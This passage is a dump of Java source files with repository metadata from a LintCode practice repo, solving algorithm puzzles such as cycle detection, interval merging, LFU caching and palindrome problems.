"length_bytes": 1080,
"license_type": "no_license",
"max_line_length": 66,
"num_lines": 50,
"path": "/java/src/main/java/T20180916/LinkedListCycle.java",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "package T20180916;\n\n/**\n * Description\n * Given a linked list, determine if it has a cycle in it.\n * <p>\n * Example\n * Given -21->10->4->5, tail connects to node index 1, return true\n * <p>\n * Challenge\n * Follow up:\n * Can you solve it without using extra space?\n */\npublic class LinkedListCycle {\n\n public class ListNode {\n int val;\n ListNode next;\n\n ListNode(int x) {\n val = x;\n next = null;\n }\n }\n\n\n /**\n * @param head: The first node of linked list.\n * @return: True if it has a cycle, or false\n */\n public boolean hasCycle(ListNode head) {\n // write your code here\n ListNode slow = head;\n\n try {\n ListNode fast = head.next;\n while (slow != null & fast != null) {\n if (slow == fast || slow == fast.next) {\n return true;\n }\n slow = slow.next;\n fast = fast.next.next;\n }\n } catch (Exception e) {\n return false;\n }\n\n return false;\n }\n}\n"
},
{
"alpha_fraction": 0.4938908517360687,
"alphanum_fraction": 0.523486316204071,
"avg_line_length": 29.9495792388916,
"blob_id": "15282752498da9028beb005fc9d714c4fb66714c",
"content_id": "2fe2a26c1651c236ecd7a253f8870e2cd77ecdbc",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 3691,
"license_type": "no_license",
"max_line_length": 203,
"num_lines": 119,
"path": "/java/src/main/java/T20180905/MergeTwoSortedIntervalLists.java",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "package T20180905;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * Description\n * Merge two sorted (ascending) lists of interval and return it as a new sorted list. The new sorted list should be made by splicing together the intervals of the two lists and sorted in ascending order.\n * <p>\n * The intervals in the given list do not overlap.\n * The intervals in different lists may overlap.\n * <p>\n * Example\n * Given list1 = [(1,2),(3,4)] and list2 = [(2,3),(5,6)], return [(1,4),(5,6)].\n */\npublic class MergeTwoSortedIntervalLists {\n\n /**\n * @param list1: one of the given list\n * @param list2: another list\n * @return: the new sorted list of interval\n */\n public List<Interval> mergeTwoInterval(List<Interval> list1, List<Interval> list2) {\n // write your code here\n// List<Interval> result = new ArrayList<>(((list1.size() + list2.size() >> 1) + 2));\n return addInterval(list1, list2);\n }\n\n private List<Interval> addInterval(List<Interval> list1, List<Interval> list2) {\n if (list1.isEmpty()) {\n return list2;\n }\n if (list2.isEmpty()) {\n return list1;\n }\n\n List<Interval> result = new ArrayList<>(((list1.size() + list2.size() >> 1) + 2));\n int index = 0;\n int index1 = 0;\n int index2 = 0;\n Interval curr1 = get(list1, index1++);\n Interval curr2 = get(list2, index2++);\n while (curr1 != null && curr2 != null) {\n if (intersection(curr1, curr2)) {//处理交集\n if (curr1.end > curr2.end) {\n curr1 = union(curr1, curr2);\n curr2 = get(list2, index2++);\n } else {\n curr2 = union(curr1, curr2);\n curr1 = get(list1, index1++);\n }\n } else {\n if (curr1.start > curr2.start) {\n result.add(curr2);\n curr2 = get(list2, index2++);\n } else {\n result.add(curr1);\n curr1 = get(list1, index1++);\n }\n }\n }\n while (curr1 != null) {\n result.add(curr1);\n curr1 = get(list1, index1++);\n }\n while (curr2 != null) {\n result.add(curr2);\n curr2 = get(list2, index2++);\n }\n return result;\n }\n\n private boolean intersection(Interval a, Interval b) {\n return !(a.start > b.end || a.end < b.start);\n }\n\n private Interval union(Interval a, Interval b) {\n return new Interval(min(a.start, b.start), max(a.end, b.end));\n }\n\n private int min(int a, int b) {\n return a > b ? b : a;\n }\n\n private int max(int a, int b) {\n return a > b ? a : b;\n }\n\n private Interval get(List<Interval> list, int index) {\n try {\n return list.get(index);\n } catch (Exception e) {\n return null;\n }\n }\n\n public static class Interval {\n int start, end;\n\n Interval(int start, int end) {\n this.start = start;\n this.end = end;\n }\n }\n\n public static void main(String[] args) {\n List<Interval> list1 = new ArrayList<>(2);\n list1.add(new Interval(1, 2));\n list1.add(new Interval(3, 4));\n List<Interval> list2 = new ArrayList<>(2);\n list2.add(new Interval(2, 3));\n list2.add(new Interval(5, 6));\n List<Interval> result = new MergeTwoSortedIntervalLists().mergeTwoInterval(list1, list2);\n for (Interval interval : result) {\n System.out.printf(\"{%d,%d}%n\", interval.start, interval.end);\n }\n }\n\n}\n"
},
{
"alpha_fraction": 0.4190358519554138,
"alphanum_fraction": 0.4487020969390869,
"avg_line_length": 19.225000381469727,
"blob_id": "b5a69676b7f62ca0bb93ffa15783863a4620a7ab",
"content_id": "8dbd220ddce137ead338b8db6228203b6a2c7ea2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 809,
"license_type": "no_license",
"max_line_length": 54,
"num_lines": 40,
"path": "/java/src/main/java/T20161227/HappyNumber.java",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "package T20161227;\n\nimport java.util.HashSet;\nimport java.util.Set;\n\n/**\n * Created by TomNg on 2016/12/27.\n */\npublic class HappyNumber {\n\n /**\n * @param n an integer\n * @return true if this is a happy number or false\n */\n public boolean isHappy(int n) {\n if (n == 1) {\n return true;\n }\n Set<Integer> set = new HashSet<>();\n int newInt;\n do {\n set.add(n);\n n = next(n);\n if (n == 1) {\n return true;\n }\n } while (!set.contains(n));\n return false;\n }\n\n private int next(int n) {\n int next = 0;\n while (n > 0) {\n int remainder = n % 10;\n next += remainder * remainder;\n n = n / 10;\n }\n return next;\n }\n}\n"
},
{
"alpha_fraction": 0.6085858345031738,
"alphanum_fraction": 0.6202020049095154,
"avg_line_length": 32.559322357177734,
"blob_id": "0705827fba2d59bf5606097fcd320620c7846e48",
"content_id": "00b4d24f233d11dcd7fce32c565a984a4cb945b3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 1980,
"license_type": "no_license",
"max_line_length": 339,
"num_lines": 59,
"path": "/java/src/main/java/T20161217/HouseRobberIII.java",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "package T20161217;\n\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.Map;\n\n/**\n * House RobberIII\n * <p>\n * You are a professional robber planning to rob houses along a street. Each house has a certain amount of money stashed, the only constraint stopping you from robbing each of them is that adjacent houses have security system connected and it will automatically contact the police if two adjacent houses were broken into on the same night.\n * <p>\n * Given a list of non-negative integers representing the amount of money of each house, determine the maximum amount of money you can rob tonight without alerting the police.\n * Example\n * Given [3, 8, 4], return 8.\n */\npublic class HouseRobberIII {\n public class TreeNode {\n public int val;\n public TreeNode left, right;\n\n public TreeNode(int x) {\n val = x;\n }\n }\n\n /**\n * @param root: The root of binary tree.\n * @return: The maximum amount of money you can rob tonight\n */\n public int houseRobber3(TreeNode root) {\n return houseRobber3(root, new HashMap<TreeNode, Integer>());\n }\n\n public int houseRobber3(TreeNode root, Map<TreeNode, Integer> cache) {\n if (root == null) {\n return 0;\n }\n if (cache.containsKey(root)) {\n return cache.get(root);\n }\n if (root.left == null && root.right == null) {\n return Math.max(root.val, 0);\n }\n\n int rob = root.val;\n if (root.left != null) {\n rob += houseRobber3(root.left.left, cache);\n rob += houseRobber3(root.left.right, cache);\n }\n if (root.right != null) {\n rob += houseRobber3(root.right.left, cache);\n rob += houseRobber3(root.right.right, cache);\n }\n\n int noRob = houseRobber3(root.left, cache) + houseRobber3(root.right, cache);\n cache.put(root, Math.max(rob, noRob));\n return Math.max(rob, noRob);\n }\n}\n"
},
{
"alpha_fraction": 0.3537326455116272,
"alphanum_fraction": 0.3656684160232544,
"avg_line_length": 30.135135650634766,
"blob_id": "793159faad7d1c7777c328094278f3f3b320302f",
"content_id": "7142efb46c0720bbe188b52058e932f3e86b4783",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 4654,
"license_type": "no_license",
"max_line_length": 152,
"num_lines": 148,
"path": "/java/src/main/java/T20180915/BombEnemyV.java",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "package T20180915;\n\n/**\n * Description\n * Given a 2D grid, each cell is either a wall 'W', an enemy 'E' or empty '0' (the number zero), return the maximum enemies you can kill using one bomb.\n * The bomb kills all the enemies in the same row and column from the planted point until it hits the wall since the wall is too strong to be destroyed.\n * <p>\n * You can only put the bomb at an empty cell.\n * <p>\n * Example\n * Given a grid:\n * <p>\n * 0 E 0 0\n * E 0 W E\n * 0 E 0 0\n * return 3. (Placing a bomb at (1,1) kills 3 enemies)\n */\npublic class BombEnemyV {\n\n /**\n * @param grid: Given a 2D grid, each cell is either 'W', 'E' or '0'\n * @return: an integer, the maximum enemies you can kill using one bomb\n */\n public int maxKilledEnemies(char[][] grid) {\n // write your code here\n try {\n final int xLength = grid.length;\n if (xLength == 0) {\n return 0;\n }\n if (xLength == 1) {\n return maxOnLine(grid[0]);\n }\n final int yLength = grid[0].length;\n\n int max = 0;\n int[] maxLine = new int[yLength];//当前上方每行最大数\n int[] rowEs = new int[yLength];//当前每行上方的E数\n\n int start;\n int count;\n boolean canBom;\n\n for (char[] line : grid) {\n\n start = 0;\n count = 0;\n canBom = false;\n for (int y = 0; y < yLength; y++) {\n switch (line[y]) {\n case '0':\n canBom = true;\n break;\n case 'W':\n if (canBom) {\n updateMax(maxLine, rowEs, line, start, y, count);\n canBom = false;\n }\n if (maxLine[y] > max) {\n max = maxLine[y];\n }\n start = y + 1;\n rowEs[y] = 0;\n maxLine[y] = 0;\n count = 0;\n break;\n case 'E':\n if (maxLine[y] != 0) {//上方有数才加\n ++maxLine[y];\n }\n ++rowEs[y];\n ++count;\n break;\n default:\n break;\n }\n }\n if (canBom) {\n updateMax(maxLine, rowEs, line, start, yLength, count);\n }\n }\n for (int m : maxLine) {\n if (m > max) {\n max = m;\n }\n }\n return max;\n } catch (Exception e) {\n return 0;\n }\n }\n\n private void updateMax(int[] maxLine, int[] rowEs, char[] line, int start, int end, int count) {\n if (count > 0) {\n for (int i = start; i < end; i++) {\n if (line[i] == '0') {\n int c = count + rowEs[i];\n if (c > maxLine[i]) {\n maxLine[i] = c;\n }\n }\n }\n } else {\n for (int i = start; i < end; i++) {\n if (line[i] == '0' && maxLine[i] == 0) {\n maxLine[i] = rowEs[i];\n }\n }\n }\n }\n\n private static int maxOnLine(char[] line) {\n int max = 0;\n int count = 0;\n boolean canBom = false;\n for (char c : line) {\n switch (c) {\n case 'E':\n ++count;\n break;\n case 'W':\n if (canBom && count > max) {\n max = count;\n }\n count = 0;\n break;\n case '0':\n canBom = true;\n break;\n }\n }\n return (canBom && count > max) ? count : max;\n }\n\n public static void main(String[] args) {\n\n char[][] grid = new char[][]{\n \"WWWWWWWWWW\".toCharArray(),\n \"EEEEEEEEEE\".toCharArray(),\n \"WWWWWEWWWW\".toCharArray(),\n \"EE000000E0\".toCharArray(),\n \"WWWWW0WWWW\".toCharArray(),\n \"EEEEEEEEEE\".toCharArray()\n };\n\n System.out.println(new BombEnemyV().maxKilledEnemies(grid));\n }\n}\n"
},
{
"alpha_fraction": 0.5010298490524292,
"alphanum_fraction": 0.5105561017990112,
"avg_line_length": 24.064516067504883,
"blob_id": "c63916b20feaf5fab405a52f2c173fc1da6fda37",
"content_id": "4f0649d3eed57c56216ae731750ea57712183931",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 3884,
"license_type": "no_license",
"max_line_length": 142,
"num_lines": 155,
"path": "/java/src/main/java/T20180904/LFUCache.java",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "package T20180904;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * LFU (Least Frequently Used) is a famous cache eviction algorithm.\n * <p>\n * For a cache with capacity k, if the cache is full and need to evict a key in it, the key with the lease frequently used will be kicked out.\n * <p>\n * Implement set and get method for LFU cache.\n */\npublic class LFUCache {\n\n private int gIndex = 0;\n\n class Node {\n int val;\n int times;\n int index;//just like timestamp\n\n\n Node(int val) {\n this.val = val;\n this.times = 0;\n this.index = gIndex++;\n }\n\n void incr() {\n this.times++;\n this.index = gIndex++;\n }\n\n\n boolean lessThan(Node other) {\n return times < other.times || (times == other.times && index < other.index);\n }\n }\n\n private Map<Integer, Node> nodes;\n private Node leastNode;\n private int leastNodeKey;\n private int capacity;\n\n /*\n * @param capacity: An integer\n */\n public LFUCache(int capacity) {\n // do intialization if necessary\n this.capacity = capacity;\n nodes = new HashMap<>(capacity);\n }\n\n /*\n * @param key: An integer\n * @param value: An integer\n * @return: nothing\n */\n public void set(int key, int value) {\n // write your code here\n Node oldNode;\n if ((oldNode = getNode(key)) != null) {\n oldNode.val = value;\n return;\n }\n\n if (nodes.size() < capacity) {\n Node newNode = new Node(value);\n if (leastNode == null || newNode.lessThan(leastNode)) {\n leastNode = newNode;\n leastNodeKey = key;\n }\n nodes.put(key, newNode);\n return;\n }\n\n if (leastNode != null) {\n nodes.remove(leastNodeKey);\n leastNode = new Node(value);\n leastNodeKey = key;\n nodes.put(key, leastNode);\n findLeast();\n return;\n }\n\n //never...\n System.out.println(\"haha\");\n\n\n }\n\n\n /*\n * @param key: An integer\n * @return: An integer\n */\n public int get(int key) {\n Node node = nodes.get(key);\n if (node == null) {\n return -1;\n } else {\n node.incr();\n if (key == leastNodeKey) {//update leastNode\n findLeast();\n }\n return node.val;\n }\n // write your code here\n }\n\n /*\n * @param key: An integer\n * @return: return the node of the key if it is present otherwise null\n */\n public Node getNode(int key) {\n Node node = nodes.get(key);\n if (node == null) {\n return null;\n } else {\n node.incr();\n if (key == leastNodeKey) {//update leastNode\n findLeast();\n }\n return node;\n }\n }\n\n private void findLeast() {\n Node node;\n for (int k : nodes.keySet())\n if ((node = nodes.get(k)).lessThan(leastNode)) {\n leastNodeKey = k;\n leastNode = node;\n }\n }\n\n public static void main(String[] args) {\n LFUCache lfuCache = new LFUCache(3);\n lfuCache.set(1, 10);\n lfuCache.set(2, 20);\n lfuCache.set(3, 30);\n System.out.println(lfuCache.get(1));\n lfuCache.set(4, 40);\n System.out.println(lfuCache.get(4));\n System.out.println(lfuCache.get(3));\n System.out.println(lfuCache.get(2));\n System.out.println(lfuCache.get(1));\n lfuCache.set(5, 50);\n System.out.println(lfuCache.get(1));\n System.out.println(lfuCache.get(2));\n System.out.println(lfuCache.get(3));\n System.out.println(lfuCache.get(4));\n System.out.println(lfuCache.get(5));\n }\n}"
},
{
"alpha_fraction": 0.4933469891548157,
"alphanum_fraction": 0.5281473994255066,
"avg_line_length": 23.424999237060547,
"blob_id": "7700d8eb74b30042ebf8df2faf9f3863c35c3a3c",
"content_id": "a831abbfaa2bcef55e684fa10935349ab299fb26",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 977,
"license_type": "no_license",
"max_line_length": 94,
"num_lines": 40,
"path": "/java/src/main/java/T20181014/singleNumberII/SingleNumber.java",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "package T20181014.singleNumberII;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * Description\n * Given 3*n + 1 numbers, every numbers occurs triple times except one, find it.\n * <p>\n * Example\n * Given [1,1,2,3,3,3,2,2,4,1] return 4\n * <p>\n * Challenge\n * One-pass, constant extra space.\n */\npublic class SingleNumber {\n /**\n * @param A: An integer array\n * @return: An integer\n */\n public int singleNumberII(int[] A) {\n Map<Integer, Integer> map = new HashMap<>();\n for (int i : A) {\n Integer times = map.get(i);\n if (times == null) {\n map.put(i, 1);\n } else if (times == 1) {\n map.put(i, 2);\n } else {\n map.remove(i);\n }\n }\n return map.keySet().iterator().next();\n }\n\n public static void main(String[] args) {\n\n System.out.println(new SingleNumber().singleNumberII(new int[]{1,1,2,3,3,3,2,2,4,1}));\n }\n}\n"
},
{
"alpha_fraction": 0.5330899357795715,
"alphanum_fraction": 0.5559105277061462,
"avg_line_length": 27.454545974731445,
"blob_id": "48051cd3df9e3e88a8a5bfcae1c5cf21bf9b18d0",
"content_id": "ef56bd28d575b4b0f31515115f6999d77fed4a60",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 2191,
"license_type": "no_license",
"max_line_length": 246,
"num_lines": 77,
"path": "/java/src/main/java/T20180909/ConcatenatedStringWithUncommonCharactersOfTwoStringsII.java",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "package T20180909;\n\n/**\n * Description\n * Two strings are given and you have to modify 1st string such that all the common characters of the 2nd strings have to be removed and the uncommon characters of the 2nd string have to be concatenated with uncommon characters of the 1st string.\n * <p>\n * Example\n * Given s1 = aacdb, s2 = gafd\n * return cbgf\n * <p>\n * Given s1 = abcs, s2 = cxzca;\n * return bsxz\n */\npublic class ConcatenatedStringWithUncommonCharactersOfTwoStringsII {\n /**\n * @param s1: the 1st string\n * @param s2: the 2nd string\n * @return: uncommon characters of given strings\n */\n public String concatenetedString(String s1, String s2) {\n // write your code here\n\n if (s1 == null || s1.isEmpty()) {\n return s2;\n }\n\n if (s2 == null || s2.isEmpty()) {\n return s1;\n }\n\n CharContainer charContainerOfS2 = new CharContainer();\n for (int i = 0; i < s2.length(); i++) {\n charContainerOfS2.add(s2.charAt(i));\n }\n\n CharContainer commonCharContainer = new CharContainer();\n StringBuilder sb = new StringBuilder(s1.length() + charContainerOfS2.size());\n for (int i = 0; i < s1.length(); i++) {\n final char c = s1.charAt(i);\n if (charContainerOfS2.contains(c)) {\n commonCharContainer.add(c);\n } else {\n sb.append(c);\n }\n }\n\n for (int i = 0; i < s2.length(); i++) {\n final char c = s2.charAt(i);\n if (!commonCharContainer.contains(c)) {\n sb.append(c);\n }\n }\n\n return sb.toString();\n }\n\n class CharContainer {\n\n long letterFlag = 0;\n\n void add(char ch) {\n letterFlag = letterFlag | (1 << (ch - 90));\n }\n\n boolean contains(char ch) {\n return (letterFlag & (1 << (ch - 90))) != 0;\n }\n\n int size() {\n return Long.bitCount(letterFlag);\n }\n }\n\n public static void main(String[] args) {\n System.out.println(new ConcatenatedStringWithUncommonCharactersOfTwoStringsII().concatenetedString(\"abcs\", \"cxzca\"));\n }\n}\n"
},
{
"alpha_fraction": 0.45230311155319214,
"alphanum_fraction": 0.46745914220809937,
"avg_line_length": 28.2608699798584,
"blob_id": "04344ac0e7b91ec2dc0718cdee6d7a9c1ad985be",
"content_id": "3c5af380881fd1604a0dedb4c62529e0c2830ebd",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 3365,
"license_type": "no_license",
"max_line_length": 177,
"num_lines": 115,
"path": "/java/src/main/java/T20180917/LongestPalindromicSubstring.java",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "package T20180917;\n\n/**\n * Description\n * Given a string S, find the longest palindromic substring in S. You may assume that the maximum length of S is 1000, and there exists one unique longest palindromic substring.\n * <p>\n * Example\n * Given the string = \"abcdzdcab\", return \"cdzdc\".\n * <p>\n * Challenge\n * O(n2) time is acceptable. Can you do it in O(n) time.\n */\npublic class LongestPalindromicSubstring {\n\n /**\n * @param s: input string\n * @return: the longest palindromic substring\n */\n public String longestPalindrome(String s) {\n // write your code here\n\n final int mid = s.length() >> 1;\n if (mid == 0) {\n return s;\n }\n\n int minIndex = 0;\n int maxStrStart = 0;\n int maxStrLength = 1;\n\n int a, b;\n if ((s.length() & 1) == 0) {\n a = mid - 1;\n b = mid;\n if (s.charAt(a) == s.charAt(b)) {\n maxStrLength = longestPalindrome(s, a - 1, b + 1);\n minIndex = (maxStrLength >> 1);\n maxStrStart = a - minIndex + 1;\n }\n } else {\n a = mid;\n b = mid;\n maxStrLength = longestPalindrome(s, a, a);\n minIndex = (maxStrLength >> 1);\n maxStrStart = a - minIndex;\n }\n\n while (a > minIndex) {\n\n int max = 0;\n\n\n if (s.charAt(a) == s.charAt(a - 1)) {\n max = longestPalindrome(s, a - 2, a + 1);\n if (max > maxStrLength) {\n maxStrLength = max;\n minIndex = (maxStrLength >> 1);\n maxStrStart = a - minIndex;\n }\n }\n\n if (s.charAt(b) == s.charAt(b + 1)) {\n max = longestPalindrome(s, b - 1, b + 2);\n if (max > maxStrLength) {\n maxStrLength = max;\n minIndex = (maxStrLength >> 1);\n maxStrStart = b - minIndex + 1;\n }\n }\n\n if (s.charAt(a - 1) == s.charAt(a + 1)) {\n max = longestPalindrome(s, a - 1, a + 1);\n if (max > maxStrLength) {\n maxStrLength = max;\n minIndex = (maxStrLength >> 1);\n maxStrStart = a - minIndex;\n }\n }\n\n\n if (s.charAt(b - 1) == s.charAt(b + 1)) {\n max = longestPalindrome(s, b, b);\n if (max > maxStrLength) {\n maxStrLength = max;\n minIndex = (max >> 1);\n maxStrStart = b - minIndex;\n }\n }\n\n --a;\n ++b;\n }\n\n return s.substring(maxStrStart, maxStrStart + maxStrLength);\n\n }\n\n public int longestPalindrome(String s, int indexA, int indexB) {\n try {\n while (s.charAt(indexA) == s.charAt(indexB)) {\n indexA--;\n indexB++;\n }\n } catch (Exception ignored) {\n\n }\n return indexB - indexA - 1;\n }\n\n public static void main(String[] args) {\n System.out.println(new LongestPalindromicSubstring().longestPalindrome(\"abb\"));\n System.out.println(new LongestPalindromicSubstring().longestPalindrome(\"abiyw8wqbggbqw8whusbaabsdiqqbgygbqqbqywebe1927ehbncdzdzdcnbhecab\"));\n }\n\n}\n"
},
{
"alpha_fraction": 0.5019669532775879,
"alphanum_fraction": 0.5271439552307129,
"avg_line_length": 22.98113250732422,
"blob_id": "df95fb2964492dc29f2f106a31b2d0f24084feff",
"content_id": "5dbfc57323b4645e2a1a676e848a209330d26c6f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 1271,
"license_type": "no_license",
"max_line_length": 120,
"num_lines": 53,
"path": "/java/src/main/java/T20170210/ImplementQueueByTwoStacks.java",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "package T20170210;\n\nimport java.util.Stack;\n\n/**\n * Created by TomNg on 2017/2/10.\n * Implement Queue by Two Stacks\n * As the title described, you should only use two stacks to implement a queue's actions.\n * <p>\n * The queue should support push(element), pop() and top() where pop is pop the first(a.k.a front) element in the queue.\n * <p>\n * Both pop and top methods should return the value of first element.\n * Example\n * push(1)\n * pop() // return 1\n * push(2)\n * push(3)\n * top() // return 2\n * pop() // return 2\n */\npublic class ImplementQueueByTwoStacks {\n public class Queue {\n private Stack<Integer> stack1;\n private Stack<Integer> stack2;\n\n public Queue() {\n stack1 =new Stack<>();\n stack2 =new Stack<>();\n }\n\n public void push(int element) {\n stack1.push(element);\n }\n\n public int pop() {\n checkMove();\n return stack2.pop();\n }\n\n public int top() {\n checkMove();\n return stack2.peek();\n }\n\n private void checkMove() {\n if (stack2.empty()) {\n while (!stack1.empty()) {\n stack2.push(stack1.pop());\n }\n }\n }\n }\n}\n"
},
{
"alpha_fraction": 0.453841894865036,
"alphanum_fraction": 0.46932005882263184,
"avg_line_length": 22.493507385253906,
"blob_id": "28bcf6d42aae83aa4fff24939afe7d782e8c4ce1",
"content_id": "5f0983fd9704be845bb50169fc993e9daf320cc1",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 1809,
"license_type": "no_license",
"max_line_length": 112,
"num_lines": 77,
"path": "/java/src/main/java/T20180917/ValidPalindrome.java",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "package T20180917;\n\n/**\n * Description\n * Given a string, determine if it is a palindrome, considering only alphanumeric characters and ignoring cases.\n * <p>\n * Have you consider that the string might be empty? This is a good question to ask during an interview.\n * <p>\n * For the purpose of this problem, we define empty string as valid palindrome.\n * <p>\n * Example\n * \"A man, a plan, a canal: Panama\" is a palindrome.\n * <p>\n * \"race a car\" is not a palindrome.\n * <p>\n * Challenge\n * O(n) time without extra memory.\n */\npublic class ValidPalindrome {\n\n\n /**\n * @param s: A string\n * @return: Whether the string is a valid palindrome\n */\n public boolean isPalindrome(String s) {\n // write your code here\n if (s == null) {\n return true;\n }\n\n try {\n int a = 0;\n int b = s.length() - 1;\n\n while (a < b) {\n\n int aC = getChar(s, a++);\n while (aC == -1) {\n aC = getChar(s, a++);\n }\n\n int bC = getChar(s, b--);\n while (bC == -1) {\n bC = getChar(s, b--);\n }\n\n if (aC != bC) {\n return false;\n }\n\n }\n } catch (Exception e) {\n return true;\n }\n\n return true;\n }\n\n private int getChar(String s, int index) {\n char ch = s.charAt(index);\n if (96 < ch && ch < 123) {\n return ch;\n }\n if (47 < ch && ch < 58) {\n return ch;\n }\n if (64 < ch && ch < 91) {\n return ch + 32;\n }\n return -1;\n }\n\n public static void main(String[] args) {\n System.out.println(new ValidPalindrome().isPalindrome(\"abaBA\"));\n }\n}\n"
},
{
"alpha_fraction": 0.4556685984134674,
"alphanum_fraction": 0.46148255467414856,
"avg_line_length": 22.32203483581543,
"blob_id": "a6526e4954d5cdaedc14b54d3d790bef654387fc",
"content_id": "735b9d27f0bb8b62d47b90e09dc7adfdacd5a601",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 1376,
"license_type": "no_license",
"max_line_length": 82,
"num_lines": 59,
"path": "/java/src/main/java/T20161218/ShapeFactory.java",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "package T20161218;\n\n\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class ShapeFactory {\n interface Shape {\n void draw();\n }\n\n class Rectangle implements Shape {\n @Override\n public void draw() {\n System.out.print(\" ---- \\n\" +\n \"| |\\n\" +\n \" ---- \");\n }\n }\n\n class Square implements Shape {\n @Override\n public void draw() {\n System.out.print(\" ---- \\n\" +\n \"| |\\n\" +\n \"| |\\n\" +\n \" ---- \");\n }\n }\n\n class Triangle implements Shape {\n @Override\n public void draw() {\n System.out.print(\" /\\\\\\n\" +\n \" / \\\\\\n\" +\n \"/____\\\\\");\n }\n }\n\n private static Map<String, Class<? extends Shape>> classMap = new HashMap<>();\n\n static {\n classMap.put(\"Rectangle\", Rectangle.class);\n classMap.put(\"Square\", Square.class);\n classMap.put(\"Triangle\", Triangle.class);\n }\n\n /**\n * @param shapeType a string\n * @return Get object of type Shape\n */\n public Shape getShape(String shapeType) {\n try {\n return classMap.get(shapeType).newInstance();\n } catch (InstantiationException | IllegalAccessException e) {\n return null;\n }\n }\n}\n"
},
{
"alpha_fraction": 0.4760791063308716,
"alphanum_fraction": 0.4869232475757599,
"avg_line_length": 29.147436141967773,
"blob_id": "d8df6443f9d2de23a37dfc59e39b31ad463d9633",
"content_id": "2cab44a18ec5565f730e732cb2db7eb5b40eade8",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 4703,
"license_type": "no_license",
"max_line_length": 89,
"num_lines": 156,
"path": "/java/src/main/java/T20161215/Palindrome.java",
"repo_name": "tangcent/lintcode",
"src_encoding": "UTF-8",
"text": "package T20161215;\n\nimport java.util.*;\n\n/**\n * Created by TomNg on 2016/12/15.\n */\npublic class Palindrome {\n /**\n * @param s: A string\n * @return: A list of lists of string\n */\n public List<List<String>> partition(String s) {\n // write your code here\n char[] chars = s.toCharArray();\n List<int[]> pals = findAll(chars);\n Node root = build(chars, pals);\n return getAll(chars, root);\n }\n\n private Node build(char[] chars, List<int[]> pals) {\n Node root = new Node(null, null);\n for (int[] pal : pals) {\n add(root, pal);\n }\n return root;\n }\n\n private List<List<String>> getAll(char[] chars, Node root) {\n Map<Long, String> cache = new HashMap<>();\n List<List<String>> result = new ArrayList<>();\n Stack<Node> stack = new Stack<>();\n stack.push(root);\n while (!stack.isEmpty()) {\n Node current = stack.pop();\n if (current.hasNext()) {\n for (Node node : current.getNext()) {\n stack.push(node);\n }\n }\n result.add(getString(chars, current, cache));\n }\n return result;\n }\n\n private void add(Node root, int[] pals) {\n Stack<Node> stack = new Stack<>();\n for (Node node : root.getNext()) {\n stack.push(node);\n }\n while (!stack.isEmpty()) {\n Node current = stack.pop();\n for (Node node : current.getNext()) {\n stack.push(node);\n }\n if (current.pal[1] < pals[0]) {\n current.next.add(new Node(pals, current));\n }\n }\n root.next.add(new Node(pals, root));\n }\n\n private List<String> getString(char[] chars, Node leaf, Map<Long, String> cache) {\n List<String> list = new ArrayList<>(chars.length >> 1);\n int cIndex = chars.length - 1;\n Node p = leaf;\n while (p != null && p.pal != null) {\n for (; cIndex > p.pal[1]; --cIndex) {\n list.add(0, getString(chars, cIndex, cIndex, cache));\n }\n list.add(0, getString(chars, p.pal[0], p.pal[1], cache));\n cIndex = p.pal[0] - 1;\n p = p.parent;\n }\n for (; cIndex > -1; --cIndex) {\n list.add(0, getString(chars, cIndex, cIndex, cache));\n }\n return list;\n }\n\n private String getString(char[] chars, int start, int end, Map<Long, String> cache) {\n long key = add(start, end);\n String s = cache.get(key);\n if (s == null) {\n s = new String(chars, start, end - start + 1);\n cache.put(key, s);\n }\n return s;\n }\n\n private static long add(int a, int b) {\n Long result = (long) a;\n result = result << 32;\n result = result | b;\n return result;\n }\n\n private static class Node {\n private List<Node> next;\n private Node parent;\n private int[] pal;\n\n public Node(int[] pal, Node parent) {\n this.pal = pal;\n this.parent = parent;\n }\n\n public List<Node> getNext() {\n if (next == null)\n this.next = new ArrayList<>(4);\n return next;\n }\n\n public boolean hasNext() {\n return next != null && !next.isEmpty();\n }\n }\n\n private List<int[]> findAll(char[] chars) {\n List<int[]> result = new ArrayList<>();\n for (int i = 0; i < chars.length; i++) {\n char c = chars[i];\n for (int j = i + 1; j < chars.length; j++) {\n if (chars[j] == c && is(chars, i + 1, j - 1)) {\n result.add(new int[]{i, j});\n }\n }\n }\n return result;\n }\n\n private boolean is(char[] chars, int start, int end) {\n while (start < end) {\n if (chars[start++] 